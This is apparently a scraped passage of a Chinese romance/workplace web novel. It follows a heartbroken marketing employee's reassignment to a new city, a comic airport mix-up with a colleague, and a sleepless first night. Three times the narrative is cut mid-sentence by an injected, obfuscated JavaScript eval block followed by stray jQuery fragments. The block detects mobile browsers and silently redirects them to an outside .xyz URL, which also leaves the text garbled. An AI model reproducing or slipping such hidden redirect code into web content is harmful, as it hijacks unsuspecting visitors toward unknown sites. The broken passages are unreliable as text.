走在街上,天还亮着,果然已经是夏天了。在漫天红霞的映照下,整座城市显得温和了许多,不像白天那样锐利。我的工位正好对着窗口,夏季下午三点多,对面那栋玻璃贴面的大楼就将折射的阳光整个丢到我的面前,明亮到刺眼——那是我理所当然放空摸鱼的时间,阳光晃眼睛,也看不清电脑屏幕。
路上的行人都行色匆匆,焦急地等待红绿灯,绿灯一亮起,他们就像沙丁鱼一样互相推搡着向对面游去,只有我是一条没有方向随处游弋的小鱼,慢悠悠地踱步前行。他们匆忙地从我身边擦肩而过,诧异地看我一眼,然后继续自己的旅程。
我望着街对面发呆,路灯已经一盏盏亮了起来,暖黄色的灯光在还未完全暗下去的空气里并不明亮。我神游着,甚至想,会不会在这条街上迎面碰到肖平——我们很久以前,总在这里遇见,一起去吃晚饭,再一起回家。
“我要离开这个城市了。”
想到我将不会有机会看这个城市的日落,每一寸余晖都像在向我告别。落入地平线之前的那一抹残阳,深深叹了口气,留恋吗?一个生活了五年多的城市,已经成为了一种习惯。
巷子口的那家店,早上卖粥小馄饨面条,晚上卖快餐。我已经很久没有坐在早点铺里吃早餐了。最多就是在对面的包子铺里买两个包子或者干脆公司楼下买个面包,对付一顿。
虽然没什么胃口,但我还是走进早餐店点了一碗菜肉大馄饨。吃了四个还是五个之后就吃不下了,以前肖平会一股脑把我吃不完的扫到自己盘子里。
他不喜欢纯素馅的面食,不管是包子、水饺还是馄饨。
我们偶尔会去街尾那家东北饭店吃饺子,点餐的时候他会迅速地扫过餐牌,略过韭菜鸡蛋、青菜香菇、素三鲜等,点一份玉米猪肉或者白菜猪肉的。我有的时候点酸菜猪肉,有的时候点荠菜猪肉。他不吃芹菜,就像我从不吃香菜。
他埋头吃饺子的时候,毛茸茸的头发耸动,我总是忍不住想去摸一摸。他就把头歪在我手心里,靠一会儿,再低下头,夹一个玉米猪肉馅的塞进我嘴里,再低头接着吃。
这些回忆,自然而然地出现在脑子里,不请自来。
我把剩下的几个馄饨挨个捞起来,咬了一口之后丢回碗里。然后站起来走了。
S市,第一次在我的生命里,开始以小时为单位,存在着。
7. 第 7 章
星期五,本该是一个星期中最值得期待的一天,它是要来还未来的周末使者: 周六是已获得的闲暇,周日带着即将失去的惋惜。周五由于未得到而感到心悸不已,离失去还隔着四十八小时的距离,显得弥足珍贵。
《小王子》里狐狸说,你下午四点钟来,那么从三点钟起,我就开始感到幸福。时间越临近,我就越感到幸福。到了四点钟的时候,我就会坐立不安;我就会发现幸福的代价。但是,如果你随便什么时候来,我就不知道在什么时候该准备好我的心情…
周五就是类似于这样的存在。
在这一天,坏消息显得没有那么坏,就连股市都存在着星期五效应。
今天,却不是这样的一个周五。
我带着当时看起来最坏的消息,一路飞奔着去赶飞机。
Lola定的机票是早晨7点15分,提前2小时要到机场……那个时间地铁都还没开始运营。
我当然知道,提前一天定好出租车是最明智且省心的做法;但问题在于,尽管打车可以报销,可我得先垫付一百多块的打车费,然后拿着出租车发票走漫长的报销流程。
这也意味着,我捉襟见肘的钱包将彻底见底,沦为一个好看但无用的装饰品。
最让我愤懑不平的是,我家距离机场的距离,乘地铁耗时1小时15分,而打车的话只能节约15分钟。为了这短短的无论干点什么都能被浪费掉的15分钟,我却要付出多一百多块的代价,怎么看,都不是一笔划算的买卖。
等等!5点15分得到机场!而不是5点15分出门!我一定搞错了什么。
最终我颓败地发现,事实就是这样——我4点就得出门,3点就得起床。
在机场附近的酒店住一晚才是最佳方案。遗憾的是,除了M级以上的员工,公司不报销酒店费用。
我愤怒的情绪无处排解——这可恨的赤裸裸的无处不在的特权!如果是M级以上,谁敢给他们定当天9点前的机票?按照惯例,他们通常会提前一天走,在出差地的五星级酒店住上一晚,第二天气定神闲地去参加各种会议。
然而抱怨并不能改变任何情况,在自掏腰包和晚点报销之间,我毫不犹豫地选择了牺牲睡眠。
天还没亮,我像个幽灵一样,拖着行李和巨大的黑眼圈站着小区门口等网约车,困得眼睛压根睁不开,还得关注空旷的街道上偶尔疾驰而来的车辆……过了约定时间三分钟,车还没到。我好像看见自己面前有一个巨大的换算器,每过去一分钟,我就多损失十块钱。
在我掏出电话正准备拨打司机电话时,一声刺耳的急刹车,一辆看上去似乎是白色的车停在我面前。
路上,司机一脸倦态地寒暄了一句:“小姐,这么早赶飞机啊?”
“麻烦尽快,7点的飞机。”
司机压低声音咒骂了一句,使劲踩一脚油门飞驰了出去,差点跟着飞出去的是我的YSL气垫。
五月的天气比小孩儿的脸还善变,如果说S市的天气喜怒无常,那T市简直就是后娘的面孔——说变就变。
出发前我查过T市的天气预告,显示灿烂明媚的如同五月天;结果飞机刚飞到T市上空,广播就开始播报由于T市暴雨,飞机或许无法降落。
飞机大概是碰到了气流,开始颠簸摇晃,在不由自主向右边倾斜的那一刻,我的脑子里只有一个念头:我怕不是要英年早逝吧?这也太窝囊了,避开了失业却要因此失命。果然得听老祖宗的话:不是自己的不要强求。
心里不住碎碎念,突然被人一把抓住了胳膊,毛孔都竖了起来。侧过头一看,是坐在我左侧飞机刚起飞就开始睡觉的那个大姐,她的发卷跟着她颤抖的声音上下抖动,“怎么还不返航?为什么还在往前飞?!”
轻轻拍了拍她的手,我也不知道是在安慰她还是安慰自己,“肯定会没事的。”
在T市上空不知道盘旋了多久,终于暴雨过去了。误点什么的已经没人关心了,飘荡在空气里的抽泣声和“本次航班即将抵达目的地”的语音播报交织在一起,编织出一种劫后余生的庆幸。
走下飞机的瞬间,我的脑袋里空荡荡的,腿有些发软,因为恐惧而麻木的心脏后知后觉快速跳动。在我前面的是互相搀扶着往外走的家人和情侣,而我,形单影只。茕茕孑立。
可耻的是,在焦虑和恐惧之下,我除了想起了爸妈,还想到了肖平。
下过雨的天空碧蓝如洗,按道理说,空气里应该充满潮湿泥土的气息;可T市此刻艳阳高照,空气凛冽干燥,仿佛那场雨是个幻觉。
我打了一个响亮的喷嚏,这是T市迎接我的第一个礼物。
拖着登机箱出来的时候,空旷的大厅里零零落落的几个人,冷冷清清的,跟S市的飞机场天差地别。
Lola说会有人来接机,我在机场等电话就行,她已经通过邮件把我的联系方式给对方了。
等了十分钟也没人给我打电话。我焦急地左顾右盼,揣测谁可能是那个素未蒙面的Jacky Meng——前面拖着小孩的妇女显然不是,打着鼻环纹着大花臂的社会男青年显然也不是,我往前走了几步,大概在离我300米的左前方,一个穿着藏青色条纹西装,戴着金丝框眼镜的男人高高地举着一块白板,上面用红色马克笔写着我的名字,他来回晃动着那块白板,像是在演唱会上晃动偶像灯牌一样。
我快步走到他面前,一把拉下牌子,懊恼自己怎么没戴墨镜。
“哎……你干嘛拉我牌……”斯文男突然顿住,“安然冉?不对,安冉然。名字有够拗口的。”
我翻个白眼,没给他好脸色,在心里吐槽——自己大舌头怪我咯?
“你可以叫我Monica。你是Jacky吧?”
他愣了一下,然后小鸡啄米一样点头,“对对,我就是Jacky。”然后就伸出手来接我的包,“跟我走吧。”
脑子里猛然闪过登机前看到的新闻——最近又出了新的骗术,有人冒充接机人员拐卖妇女。
我紧紧拽住自己的托特包,问:“你要接的人叫什么名字?你叫什么名字?”
他笑得一脸无害,“刚刚不是说过了,我接的就是你。我叫……Jacky。”
抡起托特包冲他一顿挥舞,“你个死骗子,长得人模狗样的,没想到是个斯文败类。还想拐骗我!我看上去那么蠢吗?!”
斯文男显然没料到会突然遭受袭击,他震惊地张大眼睛,胳膊往上抬护住了自己的脸。托特包砸在了他的胳膊上。
从我后面跑过来一个人,掺和踹了一脚,“年轻小伙子有胳膊有腿的,干什么不好!居然拐卖妇女,黑心肝了!报警把你抓起来。”
嘿,这不是在飞机上抓我胳膊那大姐吗?!
斯文男被打得抱头鼠窜,一边逃窜一边哀嚎,“我真的是来接你的!不是骗子!”
“哪个骗子会承认自己是骗子!”大姐拳头和脚轮番上阵,朝着他一阵招呼。
斯文男好不容易抓住大姐抡动的拳头,但还是挨了她一脚,“我是GT公司的,营销一组。”
我将信将疑,这信息还挺全面,公司名称、部门都分毫不差,如果是骗子,还真有点东西。
就在我迟疑的瞬间,他甩开大姐,窜到我面前,一把拽住在空中挥舞的托特包,在我“要完”的绝望中,气鼓鼓地从口袋里掏出工卡怼到我面前,声音都快喊劈叉了,“你看看……这是我的工牌!”
我盯住一看, GT公司,营销一组,孟猛。跟我的工卡排序分毫不差。
咳,这伙计,还真是来接机的同事。
赶紧制止旁边一边嘟囔着“翻了天的骗子”一边在打110的大姐,“那个……谢谢您啊,他……真是我同事。”
“欸?”她楞了大概有足足五秒钟,然后开始抱怨:“你这姑娘!怎么乱冤枉人?这没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672111|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
调查也没证据的,空口白牙说人小伙子是坏人。”
她伸出手去,吓得孟猛往后退了一大步。
大姐一脸如丧考妣的哀痛,“多精神一小伙子,被人冤枉得都没边了。真是可怜。”
我满头黑线,刚刚不知道是谁不分青红皂白上去一顿乱揍,现在倒是把自己摘得干干净净。
“大姐,你别搁这煽情了。不然医药费给结一下?”
那大姐顿时化哀痛为悲愤,“小伙子怎么说话呢?什么医药费!要医药费找她要去。”
她拽着自己的包,一溜烟跑得没影了。
我站在原地尴尬地想要找个地洞钻进去,不知道该说什么好。
“那个……对不起啊”,我羞赧地道歉:“你要不要去医院看看?”
“咳,没事儿。就是红了一块,连皮都没破。”孟猛毫不在意地甩了甩手:“你怎么一上来就打人?”
“这也不能全怪我……谁让你对自己的名字都犹豫。”
我很不安地看了眼他正在揉脑袋的右手,大概是被我包上的金属扣划到了,看上去肿起来了,到底破没破皮看不太清。“不然还是去打个破伤风吧,万一要是……”
“真没事。”他把肿了的右手插进裤口袋,向我伸出左手,“咳,我们这不兴叫英文名。正式认识下吧,我叫孟猛,跟你一个组的。老大让我来接你。”
我这才认真仔细看了看他。文质彬彬,戴一副金丝边眼睛,一副斯文败类衣冠禽兽的样子,倒是很吻合公司招聘的形象要求。只不过,形象跟他的名字没半点搭边。
唯一不太合适的就是他稍微带着点南方口音的普通话。
虽说没有放在明面上,但GT公司不成文的用人标准如下:
一、第一学历必须是光鲜亮丽的985/211背景
二、个人形象好
三、普通话标准,英文没有口音
四、合眼缘
我在心里默默诵读这些标准,突然觉得自己可笑:接下来大概没机会协助人事部筛选简历,这些烂熟于心的条条框框,再熟练也无用武之地。
来接机的是一部商务车,让我心里稍微平衡了一点。这流放的待遇还真不错,还有专车来接。
司机师傅看了孟猛一眼,“怎么接个人这么久?这儿停车可贵了。”
我瞄了一眼,孟猛的嘴角抽了一下:“老李,回去我走报销。”
“谢谢你啊,麻烦送我去酒店。”我扯出一个笑容,内心却疲惫之至。
早起的困顿,飞机上的惊恐,在这一刻,全都化作一个叫做“疲惫”的利箭向我袭来。
经过这“惊心动魄”的一早上,我本该已经麻木的脑子此刻却异常清醒——我,安冉然,到了一个完全陌生的城市,即将开始不知道怎样的人生。不过才短短几天,可我感觉像是过了整整一个世纪。紧绷着的神经,需要大剂量的麻醉剂迷惑它,让它误认为这不过是一场梦。我多希望这是一场梦。
感冒的后遗症是咳嗽,失眠的后遗症是混沌,那失恋的后遗症大概是对自己的极度不自信。至于后遗症什么时候能够痊愈,我一无所知。
“去什么酒店,项目紧张着呢。我们下午三点约了客户视频会议。”
我一脸惊恐,突然就要直面战场,而我别说装备,连心情都没收拾好。
“那我行李怎么办?”我嗫喏着问。
“带去办公室呗。”
“这……不太好吧?”
“没那么多穷讲究。我报到的那天,行李扔在车后备箱就去客户现场了。”
我的心往下一沉,木然地点点了头,毕竟我是在别人地盘上讨生活,别人说什么就是什么吧。
“你运气可真好,正好赶上客户的第一次需求会议。”
……
如果我真的运气好,老天应该让我中个500万,让我躺得像平底锅一样平。我在心里默默腹诽。
8. 第 8 章
孟猛居然还随身带着项目资料!
他从公文包里抽出文件夹的动作太过熟练,显然已经做过无数次。他把文件夹往我面前一送,“先熟悉下客户背景”,我震惊到无以复加。
卷王的团队个个都是卷王。我已经能预想到未来的悲惨日子了,没日没夜闭眼拉磨。
翻开资料的第一页,上面赫然写着《WH集团全年度营销策略提案》。我指着资料上的“WH集团”,怀揣着最后一丝侥幸,问孟猛:“这不会是我们都知道的那个WH集团吧?”
孟猛笑得像一朵盛开的向日葵,“不然还有哪个?他们可是今年攻克下来的大客户。”
心情顿时比飞机坠入地平线还要沮丧。甚至想,现在掉头回机场还来得及吗?
孟猛显然没有意识到我的情绪低落,他冲我比了个数,“他们今年的营销费用有这个数。”
我一头雾水,“一百万?”
“多加个零。”
差点没把文件夹掉地上。
为了掩饰自己没见过世面的事实,我低头看材料,“你刚刚说攻克下来,意思是已经要合作了?”
按道理说,分公司拿下了这么大的订单,总部那边不会一点风声都没有。可事实就是,没人讨论,无人知晓。
“那不是必须的,咱们老大出手,搞定客户分分钟的事儿。不然怎么能问总部借调专攻市场营销的人才呢,后期执行缺人缺得不行。”
听上去,我就是那头借调过来的驴了。
我倒吸一口气,恨不得能从疾驰的车上跳下去,从高速公路直接一路飞奔回机场。
眼下,我需要的是泡澡、酒精和睡眠,是这个世界有人比我还要凄惨的安慰。而不是在对我狂轰乱炸之下再加上最后一根稻草。
看着手头的资料,曾经对WH集团模模糊糊的印象逐渐明晰。
WH集团,他们最好的产品线是钻石,平均每十个新娘子中就有六个会选择它家的钻戒。这并不可怕,更可怕的是他家在整个行业内售价最高且从不打折。因为设计精美,加上独特的切割工艺,受到很多有钱人的追捧。当然有竞品,但都被它远远甩在了身后。显然中国市场的购买能力,从不会让奢侈品失望。
奢侈品里的标品,其实也不外乎用一个Logo标榜自己的消费能力;真正体现品味和气质的那一批人,不会被几个字母左右。作为一个受老钱追捧的品牌,它家最壕无人性的是定制,不管是高定的婚纱还是珠宝,尽管价高,但仍有大把人趋之若鹜。富人们的追求已经不限于身份的象征,更是品味的体现。
GT本次承接的是他们的婚纱线营销案。
WH这一季新出的是一款手工刺绣且缀满了钻石的婚纱,对外报价三千万。我很怀疑这件婚纱的销量。即使对于普通有钱人,结一次婚也相当于倾家荡产。
毋庸置疑,本次高定,作为营销噱头还挺有看头的,但能为营收贡献多少,实在不好说。按照结婚率每年断崖式下跌的势头,基数小了,没有那么多人结婚——我竟然有不易察觉的快感——作为子集的适婚有钱人自然也更少,自然对业绩有影响。
但显然我小看了这个世界的有钱人数量。孟猛告诉我,虽然这件婚纱只有不到5个人预定——当然,本来这款婚纱也打着全球限量款的营销噱头,可通过这一波的宣传,直接拉动她家其他系列的婚纱销售增长了200%,钻石首饰增长100%+,我瞠目结舌。
S市当然有她家的门店,我曾经一脸向往地在她家位于市中心的门店橱窗看陈列出来的婚纱,印象最深刻的是2020年春夏那一季的新品,V字领,精致的蕾丝花边,利落的裙摆,朦胧且美好,一切都是我幻想中婚纱的样子。
有一天经过门店,我指着那件婚纱问肖平好不好看。他当时低头在回微信消息,“你喜欢,我们结婚的时候就买它呗。”
从那一刻起,似乎结婚是一件已经被明确下来待排上to do list的事情,我那段时间充满了对未来和婚姻的憧憬。
我以为我和这个品牌的第一次交集会源自金钱往来,现在……也算是吧。业务往来所带来的金钱和消费出去的金钱,都能算是金钱往来。只是代表的意义全然不同而已。
当她的客户是惬意的,而作为她的供应商……我深深吸了两口气,在绝望和想死之间来回逡巡——如果我没记错,曾经有人跟我抱怨过,她家的MKT部门是业界出了名的难搞。
在我快要放弃挣扎,决定告诉孟猛我不是什么营销精英的时候,他接到了电话。
我听着他抑扬顿挫地回应:“好的,没问题。期待下周见面。”
还没等我询问,他对着司机师傅说:“老李,先送新同事回住处,地址我发你了。”
突如其来的欢喜,让我放弃了坦白。先这样吧,我现在只想把所有这一切都抛下,一切都等我睡一觉再说。残存的理智告诉我,极度疲倦的情况下不适合做任何决定。
“下午不是跟WH集团有视频会议
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672112|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吗?”我小心翼翼地问。
“他们改到下周了。我跟老大说过了,你先回去休息吧。”
我的内心欢呼雀跃,面上还是一本正经,“我不需要提前做什么准备吗?”
“果然是总部来的,你这觉悟……也太卷了。”孟猛看向我的眼神满是钦佩,“明天会议主要是需求会,还没到策划执行端,不用准备。”
我心里暗暗叫苦,这位大哥,你可真的误会我了。卷王什么的,压根不存在。我这是心虚好吗?!
一路上不再说话,我昏昏欲睡的情绪在进入市区的时候开始振奋起来。
从城市的格局来看,T市跟S市还是有点差距的。不过越临近市中心高楼越多,尤其是成片的CBD,规模不容小觑——是我冒昧了,哪个城市还能没个市中心呢。该说不说,比我设想的城市干净繁华。
车子从H酒店——公司的签约酒店门口呼啸而过,我忍不住问:“不住公司协议酒店?”
“小妍在公司附近给你租了房子。一室户,房子有点小,45平米。你先将就将就。”
这让我大为感动,外派人员虽然是有租房津贴,但是找房子签合同这些琐事都需要自己搞定。至于行政人员帮忙租房,一般都是M级以上职级才有的待遇。
我本以为至少要住一星期的酒店,然后就是白天上班,晚上和周末看房子。想到在这个人生地不熟的地方,顶着大太阳跟着中介四处跑,我其实心里是发怵的。
车开进小区的时候,门口保安认真问了些信息,看来安全性不错。
“我就住隔壁小区,要有什么事儿就打我电话。”他报出一串数字,看我无动于衷的样子,改口说:“你电话多少?我打给你,你存下。”
我在报到自己手机号码最后两位的时候顿住了。肖平和我是情侣号,只差最后两位,我的是20,他的是27。
孟猛抬头望着我,“怎么了?自己手机号不记得吗?”我才回过神来,木然地报完了号码。他拨号,听我手机响了之后挂断,“欧了。有事记得打电话。”
然后,他帮我把行李箱拎到门口,没有想直接拎进去的意思。边界感在线,这让我对他的好感加了一分。
他离开之前丢下一句:“哦,对了,早上九点有会,老大不喜欢人迟到。大概率是内部过下WH案子的分工,可能还会有头脑风暴,提一些创意想法之类的。大概准备下就好,内部讨论,不用太紧张。”
仿佛一个闪电砸在了我头上。
9. 第 9 章
不知道是因为陌生的环境,还是因为认床,在车上努力抵制昏睡侵袭的我,躺在床上却异常清醒。我想,可能是因为洗了个澡,把瞌睡冲跑了。
我不愿意承认,此时此刻,我仍然对肖平抱有幻想。他万一回了出租屋呢?他会不会发现我不见了,满世界找我?为什么他不给我打电话呢?
拼命地甩甩头,让自己不要再想了,那个大渣男负心汉现在也许正搂着新欢,春风得意。我大概是脑袋被驴踢了,才会觉得他会心急如焚——可万一呢?我们……毕竟有那么多年的感情,不是吗?
虽然理性一直劝说自己,但我一次又一次拿起手机查看——微信上没有小红点,未接来电里都是陌生号码。
我的脑子里的念头,左一下右一下,像钟摆一样,在最高点和谷底来回晃动。
终于,不知道什么时候,迷迷糊糊地睡了过去。
凌晨两点时,我从梦境里喘息着醒过来,活像一尾从湖底拽出水面的鱼,荡在半空中,张着嘴巴呼吸稀薄的氧气。
在梦里,那还是初春的时光,我迷迷糊糊知道和肖平约好了一起去踏青。可我躺在床上,怎么也醒不过来,直到肖平在楼底下大声地喊我的名字。
我十分疑惑,他真的来找我了吗?他怎么知道我住在这里呢?
他扬起的脸既熟悉又陌生,年轻好看的不像话。在恍惚中,我冒出的念头是:他是不是个幻影,就像是肥皂吹出的泡沫一样,戳一下就会破了呢?忍不住伸出手去戳他的酒窝。
“你每次都是这样,能不能有点时间观念?”肖平怒气冲冲冲着我喊。
“可是,现在都是我等你啊……每次迟到的人都是你,我不就迟到了这么一次吗?”
他瞪着眼睛望着我,“什么时候?”
什么时候呢?我陷入了思考。
风从四周往我的方向吹,楼底下那棵长满了巴掌形碧绿叶子的树在风中摇动着它的叶子,奇怪的是,叶子好像有自己的节奏,它们朝着不同方向晃动着,时而轻微,时而剧烈。
他一言不发背着书包飞快地往前走,我在后面跟着。他越走越快,我渐渐跟不上了,只能大声喊:“你等等我……”,可他像没听见一样,一眨眼,只留给我一个远远的背影。
我哭着追着他喊:“你去哪儿?你不要丢下我好不好?”
然而,他依然消失在我的视野,不知所踪。
说不出的酸涩在鼻尖涌动,嘴巴里都是苦味,心脏像是被人猛然攥住了。我环顾四周,不知道自己在哪儿。
醒过来的时候,枕头上湿了一片。这些天,我拼命抑制自己想哭的冲动。切实的痛感,钝钝的,像是沙子揉进了贝壳,磨着柔软的蚌肉……可是沙子最后能变成珍珠,我的心呢?
屋子里一片漆黑,我盯着天花板,越来越清醒。
后知后觉地领悟,我一直在他身后,以为他会等我,跟他一起往前走……可是,他却没有同样的打算。
起风了,树叶沙沙作响。我没有关窗户,窗帘拍打着窗台,噼啪作响。
躺在那里,细微的声响在耳边放大。这么晚了,还有人在外面走动。应该是踩到了树枝,清脆的“咔嚓”一声,像在我耳边断裂一样。
会是什么人呢?是不是跟我一样,伤心失意无法入眠?
我翻向左侧,蜷缩起身体,两手交叠在胸前,努力压制自己快要止不住的呜咽,希望所有的情绪都能被埋葬……
可显然,老天爷并没有怜悯我。眼泪自己做主,一颗接一颗争先恐后地从我的眼眶里奔逃,慌不择路,从山脊上爬过,然后重重地摔在耳侧。
床显得异常宽大,我感觉不到自己的存在,就像一下被推入大海的小舢板,茫茫然,不知道前路,亦没有退路。孤单席卷而来,但这并不是全部。天地间一切都失去了意义,除了这满目的黑,没有其他的色彩。
攥紧拳头,更用力地拢住自己,眼睛刺痛,耳朵里嗡嗡作响,像是蒸汽水壶在我的耳膜里烧开了一样。
原本,我以为这一夜将会辗转反侧,不再成眠。我显然低估了自己,天色朦朦胧胧将明将暗时,我又睡了过去。所幸,没有梦。
再次醒过来,我的眼睛很疼,大概是肿了,要很努力才能睁开;隐隐作痛的太阳穴,疲惫且倦怠。我半眯着眼睛,脑子里一片空白,望着天花板发呆。
我是谁?我在哪儿?
宇宙的中心像是一个巨大的漩涡,无限放大,再急剧缩小。悬浮在云朵还是海浪上?窗帘飞起来的时候,一道白光投射在天花板上。
突然一个激灵,我想起今早要开会。
跳下床抓起手机,已经快八点半了。穿过客厅冲去洗手间,我差点被行李箱绊倒。
虽然我猜到自己肯定憔悴得要命,但在卫生间镜子里看到自己的一瞬间,我还是被吓到了——脸色蜡黄,硕大的黑眼圈,快掉到下巴的眼袋,活脱脱一个失足边缘的妇女。
叹了口气,今天应该来不及化妆了;似乎也不是那么重要,昨天我也算半素颜见了孟猛——一个人同一群人没什么分别,如果有人问起来,就说自己认床没睡好——至少,有一半是真话。
叼着牙刷开始翻行李箱,明明记得带了米色的半身裙,我一直用它来搭白衬衫。可行李箱翻了个底朝天都没找到。
“怎么会……”我刚一开口,牙膏沫啪唧一下坠落,我伸出手去接,没有赶上它的速度——很好,另一件能通勤的衣服也宣告阵亡。
我的心情像是刚睡醒就被拖拽到屠宰场的猪一样,无奈而绝望。
“告诉你多少次了,不要在刷牙的时候走来走去,把牙膏沫掉到到处都是。”我妈极度厌恶我这个习惯,把它归入恶习之一。我总是阳奉阴违,在我妈看不见的时候,叼着牙刷四处走着刷牙。离开家之后更加变本加厉,我会从卫生间一路经过客厅,最后盘着腿坐在床上刷牙。肖平从最初的惊讶到接受,再到把它归为恶习,要求我改。我从不听劝,现在终于自食其果。
散着头发,一屁股坐在地板上,勉强打起的精神这一刻全线溃败……周六还要去公司开会,我的心情彻底Down到谷底,很想骂骂咧咧“老娘不干了”,但我没有底气。
墙上的钟突然发出“砰”的一声,一只鸟从墙上冲了出来,怪叫着“九点啦!九点啦!”,吓了我一大跳。实在太惊悚了,如果昨晚它飞出来,我不确定自己和它之间谁会存活。
等我绑好马尾收拾妥当,已经九点一刻了。上班第一天就迟到,我不太敢去想老板的脸色。抓起扔在沙发上的包,匆匆忙忙换鞋,手机响了。
我本来不想理会,谁知道是哪个神经病公司又在周六一早推销。但手机不停震动,我从包里翻出来一看,果然是个陌生号码。我狠狠地按了挂断键。
穿好鞋,准备查下去公司的路线。电话又打进来了。
“你哪家公司的?是不是有毛病啊?!”怒火中烧,我冲着电话一顿输出,“不知道现在几点吗?打你个大头鬼!”
那头明显楞了几秒,然后我听到一个战战兢兢但略微耳熟的声音,“那个……我是孟猛。”
我也太倒霉了吧?!刚到新公司,泼辣的人设就立起来了,这委实是我没想到的。
呐呐地回应:“不好意思,我以为是推销电话……”刚说完,我恨不得扇自己一嘴巴,昨天刚交换了电话号码,今天就把他电话当成垃圾电话了。
还好他没接着来一句“你没存我电话呢?”,否则我真的会原地去世。
我火速扯开话题,“什么事儿?”
他似乎很不好意思开口,“你没去公司吧?!”
还没等我回答,他接着说:“实在不好意思,我以为今天是周五。这段时间忙晕了。”
“所以?”我的脑子里嗡嗡的,孟猛在电话里的声音像是从很遥远的地方传过来的一样,忽远忽近。我还没完全领会他的意思。
“今天不上班。周一和周五早上有例会,我到公司了才发现今天周末。”
“你的意思是,不用开会?”
“对,不上班,不开会。”
一块大石头落地,我望向小区里的小花园,不知道是应该高兴还是懊恼。
“实在不好意思,那个……我请你吃饭。”孟猛充满了歉疚,“周末大家都睡懒觉,更何况你还长途跋涉刚抵达T市。”
“不用不用……我昨天还打了你,要请吃饭也应该是我请。”虽然我现在是穷光蛋一个,但这些虚礼应酬还是得遵守,毕竟还得在这个新的环境混下去。我痛恨礼尚往来,但却没有办法独善其身。
孟猛还在那边争着要请吃饭,我只能告诉他实话,“真不用,我还没出门呢。本来以为今天要迟到了……”
“真迟到也没事儿,一个月有三次迟到机会。不过周一和周五尽量别迟到,老大特别讨厌开会人不齐。”他笑呵呵地透露新环境的生存之道。
“好的,谢谢。没别的事儿我先挂了。”我对于寒暄没有任何兴趣,在公司里交朋友既危险又无趣——有些人营造出生活和工作的高度重合,交往过于谨慎显得刻意且虚伪,太过松懈又可能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672113|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会把自己栽进去。
我自嘲地笑笑,说得好像自己在工作之外就能交到朋友一样。
挂了电话,我更加茫然。时间还早,但在家也是无所事事,睡也睡不着。
今天的阳光很好,小区里种植的树下阴影婆娑,微凉的风拂过,出去走走似乎是个不错的选择。
一楼小花园里种着蔷薇和玫瑰,空气里漾着清甜的香味,玫红色和嫩黄色的花朵轻轻颤动,似乎对周围的一切都很满意。
初夏的T市,空气里还带着些微湿气,风吹到脸上甚至还有些凉。不知道谁家的小猫站在窗台上,远远地望着我,一脸向往的表情。
既然天气这么好,我又已经出了门,索性不如看看这个不知道会住多久的城市。
出了小区,走过两个红绿灯再转个弯,就是一条热闹的街道。两边是各种卖衣服的店铺,还有咖啡馆、奶茶店和餐馆。
没想到,我住在离繁华市区辐射的区域。这在S市,想都不敢想。
经过一家店铺,橱窗里映射出我的样子——素着一张脸,眼睛肿胀,挂着的黑眼圈和眼袋更加惨不忍睹,恍恍惚惚的,跟到处游荡的鬼魂一样。
尽管已经给自己做过心理建设——这个城市没有人认识我,邋遢就邋遢吧,但这个瞬间仍然感觉不自在,夹杂着羞耻和焦躁,已经很多年没有这种感觉了。在S市,出门就算不画全妆,粉底总是会打的,黑眼圈总会遮一遮的。任由这么破败不堪的自己出门,还是第一次。
每当有人回头看我的时候,我就一阵慌张,好像自己是个贴着清仓标签的滞销产品。
如果我以这副尊荣出现在办公室,会不会吓到同事们?随即叹息,捉襟见肘的荷包还得再贡献出一瓶粉底液。
大概是刚开门的缘故,商场里人并不多,稀稀落落的,化妆品柜台更是门可罗雀。我刷信用卡买完粉底液之后,肚子叽里咕噜一阵响。后知后觉地想起来自己没吃早餐。
我知道,最有性价比的早餐是买个包子加杯豆浆,但饥饿让我丧失了判断力。地图显示,最近的包子铺离这里两条街,我咬了咬牙,以慷慨就义的心情走进一家提供Brunch套餐的咖啡店。
出乎意料,最朴素的欧姆蛋配面包搭配一杯美式,才二十八块。
我已经很久没有在周末的早晨像这样好好坐着吃顿早饭了。
在T市,找工作到处去面试的时候偶尔会起得很早——第一家工作的台湾公司约了周六早上八点半,当时我们住在偏远的郊区,公司在对角线上,地铁还没有通。我要转两趟公交再骑十五分左右的小黄车才能到——那天,我是小区门口包子铺的第一个顾客。
工作之后,每个周末都起得很晚,从不吃早餐——睡到十一点多,煮个泡面或点个外卖。
坐下来,打开手机翻看公众号,关注的情感博主今日的推文是“治愈失恋的最好方法”。
